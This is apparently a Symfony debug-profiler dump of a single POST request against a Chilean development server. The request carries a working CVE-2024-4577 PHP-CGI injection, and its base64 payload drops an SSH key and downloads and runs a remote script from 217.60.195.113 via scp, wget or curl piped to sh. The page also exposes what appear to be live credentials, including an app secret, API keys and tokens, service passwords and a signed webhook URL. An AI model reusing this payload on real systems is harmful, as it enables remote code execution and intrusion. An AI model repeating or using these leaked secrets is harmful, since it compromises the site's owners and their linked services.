POST https://216.241.10.149/?%ADd%20allow_url_include%3D1%20%ADd%20auto_prepend_file%3Dphp%3A%2F%2Finput=

Request / Response

Request

GET Parameters

Key Value
�d_allow_url_include=1_�d_auto_prepend_file=php://input
""

POST Parameters

Key Value
<?php_shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTk1LjExMzpzaCBvdXRfc2g7IGlmIFsgJD8gLWVxIDAgXTsgdGhlbiBjaG1vZCAreCBvdXRfc2g7IHNoIG91dF9zaCBjdmVfMjAyNF80NTc3ID4vZGV2L251bGwgMj4mMTsgZWxzZSAod2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1xTy0gaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCB8fCBjdXJsIC1zayBodHRwczovLzIxNy42MC4xOTUuMTEzL3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No"));_echo(md5("Hello_CVE-2024-4577"));_?>
""

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller
"App\Controller\DashboardController::index"
_firewall_context
"security.firewall.map.context.main"
_route
"dashboard"
_route_params
[]
_security_firewall_run
"_security_main"
_stopwatch_token
"e357af"

Request Headers

Header Value
accept
"*/*"
connection
"keep-alive"
content-length
"1193"
content-type
"application/x-www-form-urlencoded"
host
"216.241.10.149:443"
upgrade-insecure-requests
"1"
user-agent
"libredtail-http"
x-php-ob-level
"1"

Request Content

Raw

<?php shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTk1LjExMzpzaCBvdXRfc2g7IGlmIFsgJD8gLWVxIDAgXTsgdGhlbiBjaG1vZCAreCBvdXRfc2g7IHNoIG91dF9zaCBjdmVfMjAyNF80NTc3ID4vZGV2L251bGwgMj4mMTsgZWxzZSAod2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1xTy0gaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCB8fCBjdXJsIC1zayBodHRwczovLzIxNy42MC4xOTUuMTEzL3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No")); echo(md5("Hello CVE-2024-4577")); ?>

Response

Response Headers

Header Value
cache-control
"no-cache, private"
content-type
"text/html; charset=utf-8"
date
"Mon, 24 Aug 2026 16:38:34 GMT"
location
"/login"
x-debug-token
"09cf5a"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session 1

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

1 Usages
Stateless check enabled
Usage
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:41
[
  [
    "file" => "/var/www/web_src/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
    "line" => 41
    "function" => "getMetadataBag"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/security-http/Firewall/AccessListener.php"
    "line" => 78
    "function" => "getToken"
    "class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
    "line" => 46
    "function" => "authenticate"
    "class" => "Symfony\Component\Security\Http\Firewall\AccessListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
    "line" => 60
    "function" => "authenticate"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
    "line" => 80
    "function" => "__invoke"
    "class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/security-http/Firewall.php"
    "line" => 95
    "function" => "callListeners"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
    "line" => 116
    "function" => "onKernelRequest"
    "class" => "Symfony\Component\Security\Http\Firewall"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 220
    "function" => "__invoke"
    "class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 56
    "function" => "callListeners"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
    "line" => 142
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 157
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 76
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/http-kernel/Kernel.php"
    "line" => 208
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php"
    "line" => 35
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/vendor/autoload_runtime.php"
    "line" => 29
    "function" => "run"
    "class" => "Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner"
    "type" => "->"
  ]
  [
    "file" => "/var/www/web_src/public/index.php"
    "line" => 5
    "args" => [
      "/var/www/web_src/vendor/autoload_runtime.php"
    ]
    "function" => "require_once"
  ]
]

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
AGF_CODE
"AGF"
APP_ENV
"dev"
APP_MAINTEINER
"0"
APP_SECRET
"43e0d5164a06bccd0a6090ad2845463d"
APP_TIMEZONE
"America/Santiago"
BECB_CODE
"BECB"
BECO_CODE
"BECO"
BEME_CODE
"BEME"
BE_CODE
"BE"
CA_CODE
"CA"
CCL_CODE
"CCL"
CMF_API_KEY
"b332c42b58996db39078871c814a402a1aa9a549"
CODE_EDITOR
""
CONTINGENCY_NOTIFICATION_TEAMS_URL
"https://prod-00.westus.logic.azure.com:443/workflows/<replace_with_real>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<replace_with_real>"
CV_CODE
"CV"
DATABASE_URL
"mysql://master:devdevdev@127.0.0.1:3306/dev_src_op?serverVersion=8.4"
ECARD_REMOTE_DOMAIN
"bech.dev.ecard.cl"
ECARD_REMOTE_PATH
"/srv/dev/ecard_standalone/var/cards/"
ECARD_REMOTE_TOKEN
"01J4MNS4ZCEGW3ZBTXK5XQ39AE"
ECARD_REMOTE_USER
"srcbe"
EMAIL_SENDER
"srcdev@sistemaderequimientosbe.cl"
LOCK_DSN
"redis://127.0.0.1:6379"
MAILER_DSN
"smtp://localhost:1025"
MAILGUN_API_KEY
"your_mailgun_api_key"
MAILGUN_DOMAIN
"your_mailgun_domain"
MAINTENANCE_MODE
"false"
MESSENGER_AMQP_TRANSPORT_DSN
"amqp://app:bnxC0f7b3jGtjG3UbPbAgxR32Zt@127.0.0.1:5672/%2f"
MESSENGER_REPORT_HIGH_TRANSPORT_DSN
"doctrine://default?table_name=messenger_report_high_messages"
MESSENGER_REPORT_TRANSPORT_DSN
"doctrine://default?table_name=messenger_report_messages"
MESSENGER_TRANSPORT_DSN
"doctrine://default?auto_setup=0"
MYSQL_DATABASE
"dev_src_op"
MYSQL_PASSWORD
"root"
MYSQL_ROOT_PASSWORD
"root"
MYSQL_USER
"root"
OAUTH_AZURE_CLIENT_ID
"your_azure_client_id"
OAUTH_AZURE_CLIENT_SECRET
"your_azure_client_secret"
PASSWORD_POLICY_DEADLINE
"2030-01-01 00:00:00"
PROTOCOL_HTTP
"https"
PYTHON_BIN
"/var/www/web_src/tools/.env/bin/python"
REACTIVE_WEBHOOK_URL
"https://default189d9de00fef40509094e7cf9e6b3b.b5.environment.api.powerplatform.com:443/powerautomate/automations/direct/workflows/4568b56974f14156962f3c8e3645cbd3/triggers/manual/paths/invoke?api-version=1&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=2MqQVjg9gQnsYoslMcagd9vKAyDLrOqElPnMsCYPnIk"
RECAPTCHA3_KEY
"your_recaptcha3_site_key"
RECAPTCHA3_SECRET
"your_recaptcha3_secret"
RECAPTCHA_SECRET_KEY_V2
"6Ler6gssAAAAAI8Augzgez0k2xKYnhb7YBe9dk0J"
RECAPTCHA_SITE_KEY_V2
"6Ler6gssAAAAAAWn1NJDwrnR0eLXmhnKtZL4wdpk"
REDIS_HOST
"127.0.0.1"
REDIS_PASSWORD
"redis"
REDIS_PORT
"6379"
REDIS_SCHEME
"redis"
REDIS_URL
"redis://127.0.0.1:6379"
REDIS_USER
"redis"
SE_CODE
"BEX"
SITE_URL
"srcdev.ifxsrc.cl"
STORAGE_URL
"storagesrc.ifxsrc.cl"
UBIQUITY_BASE_URL
"https://api.bech.ubq.cl"
UBIQUITY_EMAIL
"sr.bech@ubq.cl"
UBIQUITY_PASSWORD
"fdVRW#iq5H9}IZz|Rd!.k."
WKHTMLTOIMAGE_PATH
"/usr/bin/wkhtmltoimage"
WKHTMLTOPDF_PATH
"/usr/bin/wkhtmltopdf"

Defined as regular env variables

Key Value
APP_DEBUG
"1"
CONTENT_LENGTH
"1193"
CONTENT_TYPE
"application/x-www-form-urlencoded"
DOCUMENT_ROOT
"/var/www/web_src/public"
DOCUMENT_URI
"/index.php"
FCGI_ROLE
"RESPONDER"
GATEWAY_INTERFACE
"CGI/1.1"
HOME
"/home/srcbe"
HTTPS
"on"
HTTP_ACCEPT
"*/*"
HTTP_CONNECTION
"keep-alive"
HTTP_CONTENT_LENGTH
"1193"
HTTP_CONTENT_TYPE
"application/x-www-form-urlencoded"
HTTP_HOST
"216.241.10.149:443"
HTTP_UPGRADE_INSECURE_REQUESTS
"1"
HTTP_USER_AGENT
"libredtail-http"
PHP_SELF
"/index.php"
QUERY_STRING
"%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_STATUS
"200"
REMOTE_ADDR
"160.187.247.119"
REMOTE_PORT
"42550"
REQUEST_METHOD
"POST"
REQUEST_SCHEME
"https"
REQUEST_TIME
1787589514
REQUEST_TIME_FLOAT
1787589514.1088
REQUEST_URI
"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
SCRIPT_FILENAME
"/var/www/web_src/public/index.php"
SCRIPT_NAME
"/index.php"
SERVER_ADDR
"192.168.1.245"
SERVER_NAME
"srcdev.ifxsrc.cl"
SERVER_PORT
"443"
SERVER_PROTOCOL
"HTTP/1.1"
SERVER_SOFTWARE
"nginx/1.30.1"
SYMFONY_DOTENV_VARS
"APP_MAINTEINER,MAINTENANCE_MODE,APP_ENV,APP_SECRET,MAILER_DSN,EMAIL_SENDER,MAILGUN_API_KEY,MAILGUN_DOMAIN,DATABASE_URL,OAUTH_AZURE_CLIENT_ID,OAUTH_AZURE_CLIENT_SECRET,CMF_API_KEY,ECARD_REMOTE_DOMAIN,ECARD_REMOTE_USER,ECARD_REMOTE_PATH,ECARD_REMOTE_TOKEN,UBIQUITY_BASE_URL,UBIQUITY_EMAIL,UBIQUITY_PASSWORD,RECAPTCHA3_KEY,RECAPTCHA3_SECRET,RECAPTCHA_SITE_KEY_V2,RECAPTCHA_SECRET_KEY_V2,LOCK_DSN,CODE_EDITOR,SITE_URL,STORAGE_URL,PROTOCOL_HTTP,APP_TIMEZONE,MESSENGER_TRANSPORT_DSN,MESSENGER_AMQP_TRANSPORT_DSN,MESSENGER_REPORT_TRANSPORT_DSN,MESSENGER_REPORT_HIGH_TRANSPORT_DSN,REDIS_URL,REDIS_HOST,REDIS_PORT,REDIS_USER,REDIS_PASSWORD,REDIS_SCHEME,BE_CODE,BECO_CODE,SE_CODE,BEME_CODE,BECB_CODE,CV_CODE,AGF_CODE,CCL_CODE,CA_CODE,PYTHON_BIN,WKHTMLTOPDF_PATH,WKHTMLTOIMAGE_PATH,CONTINGENCY_NOTIFICATION_TEAMS_URL,REACTIVE_WEBHOOK_URL,PASSWORD_POLICY_DEADLINE,MYSQL_DATABASE,MYSQL_USER,MYSQL_PASSWORD,MYSQL_ROOT_PASSWORD"
USER
"srcbe"